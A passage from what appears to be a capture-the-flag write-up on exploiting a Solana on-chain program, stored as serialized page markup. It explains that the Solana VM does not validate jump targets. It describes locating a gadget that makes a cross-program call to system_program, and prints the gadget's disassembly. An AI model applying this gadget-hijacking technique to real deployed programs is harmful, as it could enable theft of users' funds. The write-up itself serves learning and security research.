LR\n",{"type":22,"tag":118,"props":45904,"children":45905},{"class":120,"line":142},[45906],{"type":22,"tag":118,"props":45907,"children":45908},{},[45909],{"type":28,"value":45910},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":22,"tag":118,"props":45912,"children":45913},{"class":120,"line":177},[45914],{"type":22,"tag":118,"props":45915,"children":45916},{},[45917],{"type":28,"value":45918},"    B --> C[2: process]\n",{"type":22,"tag":118,"props":45920,"children":45921},{"class":120,"line":195},[45922],{"type":22,"tag":118,"props":45923,"children":45924},{},[45925],{"type":28,"value":45926},"    C --> D[3: gadget1]\n",{"type":22,"tag":118,"props":45928,"children":45929},{"class":120,"line":244},[45930],{"type":22,"tag":118,"props":45931,"children":45932},{},[45933],{"type":28,"value":45934},"    C --> E[3: process]\n",{"type":22,"tag":118,"props":45936,"children":45937},{"class":120,"line":253},[45938],{"type":22,"tag":118,"props":45939,"children":45940},{},[45941],{"type":28,"value":45942},"    E --> F[4: gadget2]\n",{"type":22,"tag":118,"props":45944,"children":45945},{"class":120,"line":263},[45946],{"type":22,"tag":118,"props":45947,"children":45948},{},[45949],{"type":28,"value":45950},"    E --> G[...]\n",{"type":22,"tag":31,"props":45952,"children":45953},{},[45954],{"type":28,"value":45955},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":22,"tag":31,"props":45957,"children":45958},{},[45959,45961,45967],{"type":28,"value":45960},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":22,"tag":42,"props":45962,"children":45964},{"href":42426,"rel":45963},[46],[45965],{"type":28,"value":45966},"Binary Ninja",{"type":28,"value":45968}," to find a suitable gadget for this.",{"type":22,"tag":31,"props":45970,"children":45971},{},[45972,45974,45981],{"type":28,"value":45973},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":22,"tag":42,"props":45975,"children":45978},{"href":45976,"rel":45977},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[46],[45979],{"type":28,"value":45980},"skip the strip pass",{"type":28,"value":292},{"type":22,"tag":1289,"props":45983,"children":45985},{"id":45984},"cpi-gadget",[45986],{"type":28,"value":45987},"CPI Gadget",{"type":22,"tag":31,"props":45989,"children":45990},{},[45991,45993,45998,46000,46007,46009,46015],{"type":28,"value":45992},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":22,"tag":114,"props":45994,"children":45996},{"className":45995},[],[45997],{"type":28,"value":40237},{"type":28,"value":45999}," function. This function calls into the solana sdk's function ",{"type":22,"tag":42,"props":46001,"children":46004},{"href":46002,"rel":46003},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[46],[46005],{"type":28,"value":46006},"invoke_signed_unchecked",{"type":28,"value":46008},", yielding a powerful gadget at the address ",{"type":22,"tag":114,"props":46010,"children":46012},{"className":46011},[],[46013],{"type":28,"value":46014},"0x100001ba8",{"type":28,"value":292},{"type":22,"tag":107,"props":46017,"children":46019},{"className":109,"code":46018,"language":111,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[46020],{"type":22,"tag":114,"props":46021,"children":46022},{"__ignoreMap":7},[46023,46048,46104,46155,46207,46259,46282,46330,46337,46369,46420,46478,46512,46519,46568,46598,46673,46680,46731,46777,46784,46815,46866,46896,46918,46925,46976,47021,47028,47079,47107,47128,47135],{"type":22,"tag":118,"props":46024,"children":46025},{"class":120,"line":121},[46026,46030,46034,46039,46043],{"type":22,"tag":118,"props":46027,"children":46028},{"style":125},[46029],{"type":28,"value":15647},{"type":22,"tag":118,"props":46031,"children":46032},{"style":210},[46033],{"type":28,"value":1190},{"type":22,"tag":118,"props":46035,"children":46036},{"style":125},[46037],{"type":28,"value":46038},"program",{"type":22,"tag":118,"props":46040,"children":46041},{"style":210},[46042],{"type":28,"value":1190},{"type":22,"tag":118,"props":46044,"children":46045},{"style":204},[46046],{"type":28,"value":46047},"invoke_signed_unchecked\n",{"type":22,"tag":118,"props":46049,"children":46050},{"class":120,"line":142},[46051,46056,46061,46066,46071,46076,46081,46085,46090,46095,46100],{"type":22,"tag":118,"props":46052,"children":46053},{"style":204},[46054],{"type":28,"value":46055},"100001ba8",{"type":22,"tag":118,"props":46057,"children":46058},{"style":204},[46059],{"type":28,"value":46060},"  79a278ff00000000",{"type":22,"tag":118,"props":46062,"children":46063},{"style":204},[46064],{"type":28,"value":46065},"   ldxdw",{"type":22,"tag":118,"props":46067,"children":46068},{"style":204},[46069],{"type":28,"value":46070}," r2",{"type":22,"tag":118,"props":46072,"children":46073},{"style":125},[46074],{"type":28,"value":46075},", [",{"type":22,"tag":118,"props":46077,"children":46078},{"style":204},[46079],{"type":28,"value":46080},"r10",{"type":22,"tag":118,"props":46082,"children":46083},{"style":210},[46084],{"type":28,"value":6340},{"type":22,"tag":118,"props":46086,"children":46087},{"style":674},[46088],{"type":28,"value":46089},"136",{"type":22,"tag":118,"props":46091,"children":46092},{"style":125},[46093],{"type":28,"value":46094},"] {",{"type":22,"tag":118,"props":46096,"children":46097},{"style":204},[46098],{"type":28,"value":46099},"var_88",{"type":22,"tag":118,"props":46101,"children":46102},{"style":125},[46103],{"type":28,"value":481},{"type":22,"tag":118,"props":46105,"children":46106},{"class":120,"line":177},[46107,46112,46117,46121,46126,46130,46134,46138,46142,46146,46151],{"type":22,"tag":118,"props":46108,"children":46109},{"style":204},[46110],{"type":28,"value":46111},"100001bb0",{"type":22,"tag":118,"props":46113,"children":46114},{"style":204},[46115],{"type":28,"value":46116},"  79a380ff00000000",{"type":22,"tag":118,"props":46118,"children":46119},{"style":204},[46120],{"type":28,"value":46065},{"type":22,"tag":118,"props":46122,"children":46123},{"style":204},[46124],{"type":28,"value":46125}," r3",{"type":22,"tag":118,"props":46127,"children":46128},{"style":125},[46129],{"type":28,"value":46075},{"type":22,"tag":118,"props":46131,"children":46132},{"style":204},[46133],{"type":28,"value":46080},{"type":22,"tag":118,"props":46135,"children":46136},{"style":210},[46137],{"type":28,"value":6340},{"type":22,"tag":118,"props":46139,"children":46140},{"style":674},[46141],{"type":28,"value":31785},{"type":22,"tag":118,"props":46143,"children":46144},{"style":125},[46145],{"type":28,"value":46094},{"type":22,"tag":118,"props":46147,"children":46148},{"style":204},[46149],{"type":28,"value":46150},"var_80",{"type":22,"tag":118,"props":46152,"children":46153},{"style":125},[46154],{"type":28,"value":481},{"type":22,"tag":118,"props":46156,"children":46157},{"class":120,"line":195},[46158,46163,46168,46172,46177,46181,46185,46189,46194,46198,46203],{"type":22,"tag":118,"props":46159,"children":46160},{"style":204},[46161],{"type":28,"value":46162},"100001bb8",{"type":22,"tag":118,"props":46164,"children":46165},{"style":204},[46166],{"type":28,"value":46167},"  79a468ff00000000",{"type":22,"tag":118,"props":46169,"children":46170},{"style":204},[46171],{"type":28,"value":46065},{"type":22,"tag":118,"props":46173,"children":46174},{"style":204},[46175],{"type":28,"value":46176}," r4",{"type":22,"tag":118,"props":46178,"children":46179},{"style":125},[46180],{"type":28,"value":46075},{"type":22,"tag":118,"props":46182,"children":46183},{"style":204},[46184],{"type":28,"value":46080},{"type":22,"tag":118,"props":46186,"children":46187},{"style":210},[46188],{"type":28,"value":6340},{"type":22,"tag":118,"props":46190,"children":46191},{"style":674},[46192],{"type":28,"value":46193},"152",{"type":22,"tag":118,"props":46195,"children":46196},{"style":125},[46197],{"type":28,"value":46094},{"type":22,"tag":118,"props":46199,"children":46200},{"style":204},[46201],{"type":28,"value":46202},"var_98",{"type":22,"tag":118,"props":46204,"children":46205},{"style":125},[46206],{"type":28,"value":481},{"type":22,"tag":118,"props":46208,"children":46209},{"class":120,"line":244},[46210,46215,46220,46224,46229,46233,46237,46241,46246,46250,46255],{"type":22,"tag":118,"props":46211,"children":46212},{"style":204},[46213],{"type":28,"value":46214},"100001bc0",{"type":22,"tag":118,"props":46216,"children":46217},{"style":204},[46218],{"type":28,"value":46219},"  79a570ff00000000",{"type":22,"tag":118,"props":46221,"children":46222},{"style":204},[46223],{"type":28,"value":46065},{"type":22,"tag":118,"props":46225,"children":46226},{"style":204},[46227],{"type":28,"value":46228}," r5",{"type":22,"tag":118,"props":46230,"children":46231},{"style":125},[46232],{"type":28,"value":46075},{"type":22,"tag":118,"props":46234,"children":46235},{"style":204},[46236],{"type":28,"value":46080},{"type":22,"tag":118,"props":46238,"children":46239},{"style":210},[46240],{"type":28,"value":6340},{"type":22,"tag":118,"props":46242,"children":46243},{"style":674},[46244],{"type":28,"value":46245},"144",{"type":22,"tag":118,"props":46247,"children":46248},{"style":125},[46249],{"type":28,"value":46094},{"type":22,"tag":118,"props":46251,"children":46252},{"style":204},[46253],{"type":28,"value":46254},"var_90",{"type":22,"tag":118,"props":46256,"children":46257},{"style":125},[46258],{"type":28,"value":481},{"type":22,"tag":118,"props":46260,"children":46261},{"class":120,"line":253},[46262,46267,46272,46277],{"type":22,"tag":118,"props":46263,"children":46264},{"style":204},[46265],{"type":28,"value":46266},"100001bc8",{"type":22,"tag":118,"props":46268,"children":46269},{"style":674},[46270],{"type":28,"value":46271},"  8520000020100000",{"type":22,"tag":118,"props":46273,"children":46274},{"style":204},[46275],{"type":28,"value":46276},"   call",{"type":22,"tag":118,"props":46278,"children":46279},{"style":204},[46280],{"type":28,"value":46281}," sol_invoke_signed_rust\n",{"type":22,"tag":118,"props":46283,"children":46284},{"class":120,"line":263},[46285,46290,46295,46300,46304,46308,46312,46316,46321,46325],{"type":22,"tag":118,"props":46286,"children":46287},{"style":204},[46288],{"type":28,"value":46289},"100001bd0",{"type":22,"tag":118,"props":46291,"children":46292},{"style":674},[46293],{"type":28,"value":46294},"  5500040000000000",{"type":22,"tag":118,"props":46296,"children":46297},{"style":204},[46298],{"type":28,"value":46299},"   jne",{"type":22,"tag":118,"props":46301,"children":46302},{"style":125},[46303],{"type":28,"value":2197},{"type":22,"tag":118,"props":46305,"children":46306},{"style":210},[46307],{"type":28,"value":3220},{"type":22,"tag":118,"props":46309,"children":46310},{"style":674},[46311],{"type":28,"value":19493},{"type":22,"tag":118,"props":46313,"children":46314},{"style":125},[46315],{"type":28,"value":7831},{"type":22,"tag":118,"props":46317,"children":46318},{"style":204},[46319],{"type":28,"value":46320},"r0",{"type":22,"tag":118,"props":46322,"children":46323},{"style":125},[46324],{"type":28,"value":231},{"type":22,"tag":118,"props":46326,"children":46327},{"style":674},[46328],{"type":28,"value":46329},"0x0\n",{"type":22,"tag":118,"props":46331,"children":46332},{"class":120,"line":318},[46333],{"type":22,"tag":118,"props":46334,"children":46335},{"emptyLinePlaceholder":15},[46336],{"type":28,"value":250},{"type":22,"tag":118,"props":46338,"children":46339},{"class":120,"line":351},[46340,46345,46350,46355,46360,46364],{"type":22,"tag":118,"props":46341,"children":46342},{"style":204},[46343],{"type":28,"value":46344},"100001bd8",{"type":22,"tag":118,"props":46346,"children":46347},{"style":204},[46348],{"type":28,"value":46349},"  b701000018000000",{"type":22,"tag":118,"props":46351,"children":46352},{"style":204},[46353],{"type":28,"value":46354},"   mov",{"type":22,"tag":118,"props":46356,"children":46357},{"style":204},[46358],{"type":28,"value":46359}," r1",{"type":22,"tag":118,"props":46361,"children":46362},{"style":125},[46363],{"type":28,"value":231},{"type":22,"tag":118,"props":46365,"children":46366},{"style":674},[46367],{"type":28,"value":46368},"0x18\n",{"type":22,"tag":118,"props":46370,"children":46371},{"class":120,"line":359},[46372,46377,46382,46386,46390,46394,46398,46402,46407,46411,46416],{"type":22,"tag":118,"props":46373,"children":46374},{"style":204},[46375],{"type":28,"value":46376},"100001be0",{"type":22,"tag":118,"props":46378,"children":46379},{"style":204},[46380],{"type":28,"value":46381},"  79a288ff00000000",{"type":22,"tag":118,"props":46383,"children":46384},{"style":204},[46385],{"type":28,"value":46065},{"type":22,"tag":118,"props":46387,"children":46388},{"style":204},[46389],{"type":28,"value":46070},{"type":22,"tag":118,"props":46391,"children":46392},{"style":125},[46393],{"type":28,"value":46075},{"type":22,"tag":118,"props":46395,"children":46396},{"style":204},[46397],{"type":28,"value":46080},{"type":22,"tag":118,"props":46399,"children":46400},{"style":210},[46401],{"type":28,"value":6340},{"type":22,"tag":118,"props":46403,"children":46404},{"style":674},[46405],{"type":28,"value":46406},"120",{"type":22,"tag":118,"props":46408,"children":46409},{"style":125},[46410],{"type":28,"value":46094},{"type":22,"tag":118,"props":46412,"children":46413},{"style":204},[46414],{"type":28,"value":46415},"var_78",{"type":22,"tag":118,"props":46417,"children":46418},{"style":125},[46419],{"type":28,"value":481},{"type":22,"tag":118,"props":46421,"children":46422},{"class":120,"line":368},[46423,46428,46433,46438,46442,46447,46451,46455,46459,46464,46469,46474],{"type":22,"tag":118,"props":46424,"children":46425},{"style":204},[46426],{"type":28,"value":46427},"100001be8",{"type":22,"tag":118,"props":46429,"children":46430},{"style":674},[46431],{"type":28,"value":46432},"  6312000000000000",{"type":22,"tag":118,"props":46434,"children":46435},{"style":204},[46436],{"type":28,"value":46437},"   stxw",{"type":22,"tag":118,"props":46439,"children":46440},{"style":125},[46441],{"type":28,"value":24983},{"type":22,"tag":118,"props":46443,"children":46444},{"style":204},[46445],{"type":28,"value":46446},"r2",{"type":22,"tag":118,"props":46448,"children":46449},{"style":210},[46450],{"type":28,"value":6340},{"type":22,"tag":118,"props":46452,"children":46453},{"style":674},[46454],{"type":28,"value":6036},{"type":22,"tag":118,"props":46456,"children":46457},{"style":125},[46458],{"type":28,"value":25011},{"type":22,"tag":118,"props":46460,"children":46461},{"style":204},[46462],{"type":28,"value":46463},"r1",{"type":22,"tag":118,"props":46465,"children":46466},{"style":125},[46467],{"type":28,"value":46468},"  {",{"type":22,"tag":118,"props":46470,"children":46471},{"style":674},[46472],{"type":28,"value":46473},"0x18",{"type":22,"tag":118,"props":46475,"children":46476},{"style":125},[46477],{"type":28,"value":481},{"type":22,"tag":118,"props":46479,"children":46480},{"class":120,"line":384},[46481,46486,46491,46496,46500,46504,46508],{"type":22,"tag":118,"props":46482,"children":46483},{"style":204},[46484],{"type":28,"value":46485},"100001bf0",{"type":22,"tag":118,"props":46487,"children":46488},{"style":674},[46489],{"type":28,"value":46490},"  0500030000000000",{"type":22,"tag":118,"props":46492,"children":46493},{"style":204},[46494],{"type":28,"value":46495},"   ja",{"type":22,"tag":118,"props":46497,"children":46498},{"style":125},[46499],{"type":28,"value":2197},{"type":22,"tag":118,"props":46501,"children":46502},{"style":210},[46503],{"type":28,"value":3220},{"type":22,"tag":118,"props":46505,"children":46506},{"style":674},[46507],{"type":28,"value":19260},{"type":22,"tag":118,"props":46509,"children":46510},{"style":125},[46511],{"type":28,"value":8002},{"type":22,"tag":118,"props":46513,"children":46514},{"class":120,"line":417},[46515],{"type":22,"tag":118,"props":46516,"children":46517},{"emptyLinePlaceholder":15},[46518],{"type":28,"value":250},{"type":22,"tag":118,"props":46520,"children":46521},{"class":120,"line":425},[46522,46527,46532,46536,46540,46544,46548,46552,46556,46560,46564],{"type":22,"tag":118,"props":46523,"children":46524},{"style":204},[46525],{"type":28,"value":46526},"100001bf8",{"type":22,"tag":118,"props":46528,"children":46529},{"style":204},[46530],{"type":28,"value":46531},"  79a188ff00000000",{"type":22,"tag":118,"props":46533,"children":46534},{"style":204},[46535],{"type":28,"value":46065},{"type":22,"tag":118,"props":46537,"children":46538},{"style":204},[46539],{"type":28,"value":46359},{"type":22,"tag":118,"props":46541,"children":46542},{"style":125},[46543],{"type":28,"value":46075},{"type":22,"tag":118,"props":46545,"children":46546},{"style":204},[46547],{"type":28,"value":46080},{"type":22,"tag":118,"props":46549,"children":46550},{"style":210},[46551],{"type":28,"value":6340},{"type":22,"tag":118,"props":46553,"children":46554},{"style":674},[46555],{"type":28,"value":46406},{"type":22,"tag":118,"props":46557,"children":46558},{"style":125},[46559],{"type":28,"value":46094},{"type":22,"tag":118,"props":46561,"children":46562},{"style":204},[46563],{"type":28,"value":46415},{"type":22,"tag":118,"props":46565,"children":46566},{"style":125},[46567],{"type":28,"value":481},{"type":22,"tag":118,"props":46569,"children":46570},{"class":120,"line":441},[46571,46576,46581,46585,46589,46593],{"type":22,"tag":118,"props":46572,"children":46573},{"style":204},[46574],{"type":28,"value":46575},"100001c00",{"type":22,"tag":118,"props":46577,"children":46578},{"style":204},[46579],{"type":28,"value":46580},"  bf02000000000000",{"type":22,"tag":118,"props":46582,"children":46583},{"style":204},[46584],{"type":28,"value":46354},{"type":22,"tag":118,"props":46586,"children":46587},{"style":204},[46588],{"type":28,"value":46070},{"type":22,"tag":118,"props":46590,"children":46591},{"style":125},[46592],{"type":28,"value":231},{"type":22,"tag":118,"props":46594,"children":46595},{"style":204},[46596],{"type":28,"value":46597},"r0\n",{"type":22,"tag":118,"props":46599,"children":46600},{"class":120,"line":475},[46601,46606,46611,46615,46620,46624,46629,46633,46637,46642,46646,46650,46655,46660,46664,46668],{"type":22,"tag":118,"props":46602,"children":46603},{"style":204},[46604],{"type":28,"value":46605},"100001c08",{"type":22,"tag":118,"props":46607,"children":46608},{"style":674},[46609],{"type":28,"value":46610},"  8510000075000000",{"type":22,"tag":118,"props":46612,"children":46613},{"style":204},[46614],{"type":28,"value":46276},{"type":22,"tag":118,"props":46616,"children":46617},{"style":131},[46618],{"type":28,"value":46619}," _ZN94_",{"type":22,"tag":118,"props":46621,"children":46622},{"style":210},[46623],{"type":28,"value":12287},{"type":22,"tag":118,"props":46625,"children":46626},{"style":131},[46627],{"type":28,"value":46628},"LT",{"type":22,"tag":118,"props":46630,"children":46631},{"style":210},[46632],{"type":28,"value":12287},{"type":22,"tag":118,"props":46634,"children":46635},{"style":204},[46636],{"type":28,"value":15647},{"type":22,"tag":118,"props":46638,"children":46639},{"style":210},[46640],{"type":28,"value":46641},"...$",{"type":22,"tag":118,"props":46643,"children":46644},{"style":204},[46645],{"type":28,"value":10046},{"type":22,"tag":118,"props":46647,"children":46648},{"style":210},[46649],{"type":28,"value":12287},{"type":22,"tag":118,"props":46651,"children":46652},{"style":131},[46653],{"type":28,"value":46654},"GT",{"type":22,"tag":118,"props":46656,"children":46657},{"style":210},[46658],{"type":28,"value":46659},"$$",{"type":22,"tag":118,"props":46661,"children":46662},{"style":131},[46663],{"type":28,"value":46654},{"type":22,"tag":118,"props":46665,"children":46666},{"style":210},[46667],{"type":28,"value":12287},{"type":22,"tag":118,"props":46669,"children":46670},{"style":125},[46671],{"type":28,"value":46672},"4from17ha0d289b72861b06dE\n",{"type":22,"tag":118,"props":46674,"children":46675},{"class":120,"line":484},[46676],{"type":22,"tag":118,"props":46677,"children":46678},{"emptyLinePlaceholder":15},[46679],{"type":28,"value":250},{"type":22,"tag":118,"props":46681,"children":46682},{"class":120,"line":492},[46683,46688,46693,46697,46701,46705,46709,46713,46718,46722,46727],{"type":22,"tag":118,"props":46684,"children":46685},{"style":204},[46686],{"type":28,"value":46687},"100001c10",{"type":22,"tag":118,"props":46689,"children":46690},{"style":204},[46691],{"type":28,"value":46692},"  79a2b8ff00000000",{"type":22,"tag":118,"props":46694,"children":46695},{"style":204},[46696],{"type":28,"value":46065},{"type":22,"tag":118,"props":46698,"children":46699},{"style":204},[46700],{"type":28,"value":46070},{"type":22,"tag":118,"props":46702,"children":46703},{"style":125},[46704],{"type":28,"value":46075},{"type":22,"tag":118,"props":46706,"children":46707},{"style":204},[46708],{"type":28,"value":46080},{"type":22,"tag":118,"props":46710,"children":46711},{"style":210},[46712],{"type":28,"value":6340},{"type":22,"tag":118,"props":46714,"children":46715},{"style":674},[46716],{"type":28,"value":46717},"72",{"type":22,"tag":118,"props":46719,"children":46720},{"style":125},[46721],{"type":28,"value":46094},{"type":22,"tag":118,"props":46723,"children":46724},{"style":204},[46725],{"type":28,"value":46726},"var_48",{"type":22,"tag":118,"props":46728,"children":46729},{"style":125},[46730],{"type":28,"value":481},{"type":22,"tag":118,"props":46732,"children":46733},{"class":120,"line":501},[46734,46739,46744,46749,46753,46757,46761,46765,46769,46773],{"type":22,"tag":118,"props":46735,"children":46736},{"style":204},[46737],{"type":28,"value":46738},"100001c18",{"type":22,"tag":118,"props":46740,"children":46741},{"style":674},[46742],{"type":28,"value":46743},"  1502040000000000",{"type":22,"tag":118,"props":46745,"children":46746},{"style":204},[46747],{"type":28,"value":46748},"   jeq",{"type":22,"tag":118,"props":46750,"children":46751},{"style":125},[46752],{"type":28,"value":2197},{"type":22,"tag":118,"props":46754,"children":46755},{"style":210},[46756],{"type":28,"value":3220},{"type":22,"tag":118,"props":46758,"children":46759},{"style":674},[46760],{"type":28,"value":19493},{"type":22,"tag":118,"props":46762,"children":46763},{"style":125},[46764],{"type":28,"value":7831},{"type":22,"tag":118,"props":46766,"children":46767},{"style":204},[46768],{"type":28,"value":46446},{"type":22,"tag":118,"props":46770,"children":46771},{"style":125},[46772],{"type":28,"value":231},{"type":22,"tag":118,"props":46774,"children":46775},{"style":674},[46776],{"type":28,"value":46329},{"type":22,"tag":118,"props":46778,"children":46779},{"class":120,"line":519},[46780],{"type":22,"tag":118,"props":46781,"children":46782},{"emptyLinePlaceholder":15},[46783],{"type":28,"value":250},{"type":22,"tag":118,"props":46785,"children":46786},{"class":120,"line":606},[46787,46792,46797,46802,46806,46810],{"type":22,"tag":118,"props":46788,"children":46789},{"style":204},[46790],{"type":28,"value":46791},"100001c20",{"type":22,"tag":118,"props":46793,"children":46794},{"style":674},[46795],{"type":28,"value":46796},"  2702000022000000",{"type":22,"tag":118,"props":46798,"children":46799},{"style":204},[46800],{"type":28,"value":46801},"   mul",{"type":22,"tag":118,"props":46803,"children":46804},{"style":204},[46805],{"type":28,"value":46070},{"type":22,"tag":118,"props":46807,"children":46808},{"style":125},[46809],{"type":28,"value":231},{"type":22,"tag":118,"props":46811,"children":46812},{"style":674},[46813],{"type":28,"value":46814},"0x22\n",{"type":22,"tag":118,"props":46816,"children":46817},{"class":120,"line":615},[46818,46823,46828,46832,46836,46840,46844,46848,46853,46857,46862],{"type":22,"tag":118,"props":46819,"children":46820},{"style":204},[46821],{"type":28,"value":46822},"100001c28",{"type":22,"tag":118,"props":46824,"children":46825},{"style":204},[46826],{"type":28,"value":46827},"  79a1b0ff00000000",{"type":22,"tag":118,"props":46829,"children":46830},{"style":204},[46831],{"type":28,"value":46065},{"type":22,"tag":118,"props":46833,"children":46834},{"style":204},[46835],{"type":28,"value":46359},{"type":22,"tag":118,"props":46837,"children":46838},{"style":125},[46839],{"type":28,"value":46075},{"type":22,"tag":118,"props":46841,"children":46842},{"style":204},[46843],{"type":28,"value":46080},{"type":22,"tag":118,"props":46845,"children":46846},{"style":210},[46847],{"type":28,"value":6340},{"type":22,"tag":118,"props":46849,"children":46850},{"style":674},[46851],{"type":28,"value":46852},"80",{"type":22,"tag":118,"props":46854,"children":46855},{"style":125},[46856],{"type":28,"value":46094},{"type":22,"tag":118,"props":46858,"children":46859},{"style":204},[46860],{"type":28,"value":46861},"var_50",{"type":22,"tag":118,"props":46863,"children":46864},{"style":125},[46865],{"type":28,"value":481},{"type":22,"tag":118,"props":46867,"children":46868},{"class":120,"line":685},[46869,46874,46879,46883,46887,46891],{"type":22,"tag":118,"props":46870,"children":46871},{"style":204},[46872],{"type":28,"value":46873},"100001c30",{"type":22,"tag":118,"props":46875,"children":46876},{"style":204},[46877],{"type":28,"value":46878},"  b703000001000000",{"type":22,"tag":118,"props":46880,"children":46881},{"style":204},[46882],{"type":28,"value":46354},{"type":22,"tag":118,"props":46884,"children":46885},{"style":204},[46886],{"type":28,"value":46125},{"type":22,"tag":118,"props":46888,"children":46889},{"style":125},[46890],{"type":28,"value":231},{"type":22,"tag":118,"props":46892,"children":46893},{"style":674},[46894],{"type":28,"value":46895},"0x1\n",{"type":22,"tag":118,"props":46897,"children":46898},{"class":120,"line":699},[46899,46904,46909,46913],{"type":22,"tag":118,"props":46900,"children":46901},{"style":204},[46902],{"type":28,"value":46903},"100001c38",{"type":22,"tag":118,"props":46905,"children":46906},{"style":204},[46907],{"type":28,"value":46908},"  8510000003feffff",{"type":22,"tag":118,"props":46910,"children":46911},{"style":204},[46912],{"type":28,"value":46276},{"type":22,"tag":118,"props":46914,"children":46915},{"style":204},[46916],{"type":28,"value":46917}," __rust_dealloc\n",{"type":22,"tag":118,"props":46919,"children":46920},{"class":120,"line":729},[46921],{"type":22,"tag":118,"props":46922,"children":46923},{"emptyLinePlaceholder":15},[46924],{"type":28,"value":250},{"type":22,"tag":118,"props":46926,"children":46927},{"class":120,"line":771},[46928,46933,46938,46942,46946,46950,46954,46958,46963,46967,46972],{"type":22,"tag":118,"props":46929,"children":46930},{"style":204},[46931],{"type":28,"value":46932},"100001c40",{"type":22,"tag":118,"props":46934,"children":46935},{"style":204},[46936],{"type":28,"value":46937},"  79a2d0ff00000000",{"type":22,"tag":118,"props":46939,"children":46940},{"style":204},[46941],{"type":28,"value":46065},{"type":22,"tag":118,"props":46943,"children":46944},{"style":204},[46945],{"type":28,"value":46070},{"type":22,"tag":118,"props":46947,"children":46948},{"style":125},[46949],{"type":28,"value":46075},{"type":22,"tag":118,"props":46951,"children":46952},{"style":204},[46953],{"type":28,"value":46080},{"type":22,"tag":118,"props":46955,"children":46956},{"style":210},[46957],{"type":28,"value":6340},{"type":22,"tag":118,"props":46959,"children":46960},{"style":674},[46961],{"type":28,"value":46962},"48",{"type":22,"tag":118,"props":46964,"children":46965},{"style":125},[46966],{"type":28,"value":46094},{"type":22,"tag":118,"props":46968,"children":46969},{"style":204},[46970],{"type":28,"value":46971},"var_30",{"type":22,"tag":118,"props":46973,"children":46974},{"style":125},[46975],{"type":28,"value":481},{"type":22,"tag":118,"props":46977,"children":46978},{"class":120,"line":785},[46979,46984,46989,46993,46997,47001,47005,47009,47013,47017],{"type":22,"tag":118,"props":46980,"children":46981},{"style":204},[46982],{"type":28,"value":46983},"100001c48",{"type":22,"tag":118,"props":46985,"children":46986},{"style":674},[46987],{"type":28,"value":46988},"  1502030000000000",{"type":22,"tag":118,"props":46990,"children":46991},{"style":204},[46992],{"type":28,"value":46748},{"type":22,"tag":118,"props":46994,"children":46995},{"style":125},[46996],{"type":28,"value":2197},{"type":22,"tag":118,"props":46998,"children":46999},{"style":210},[47000],{"type":28,"value":3220},{"type":22,"tag":118,"props":47002,"children":47003},{"style":674},[47004],{"type":28,"value":19260},{"type":22,"tag":118,"props":47006,"children":47007},{"style":125},[47008],{"type":28,"value":7831},{"type":22,"tag":118,"props":47010,"children":47011},{"style":204},[47012],{"type":28,"value":46446},{"type":22,"tag":118,"props":47014,"children":47015},{"style":125},[47016],{"type":28,"value":231},{"type":22,"tag":118,"props":47018,"children":47019},{"style":674},[47020],{"type":28,"value":46329},{"type":22,"tag":118,"props":47022,"children":47023},{"class":120,"line":804},[47024],{"type":22,"tag":118,"props":47025,"children":47026},{"emptyLinePlaceholder":15},[47027],{"type":28,"value":250},{"type":22,"tag":118,"props":47029,"children":47030},{"class":120,"line":812},[47031,47036,47041,47045,47049,47053,47057,47061,47066,47070,47075],{"type":22,"tag":118,"props":47032,"children":47033},{"style":204},[47034],{"type":28,"value":47035},"100001c50",{"type":22,"tag":118,"props":47037,"children":47038},{"style":204},[47039],{"type":28,"value":47040},"  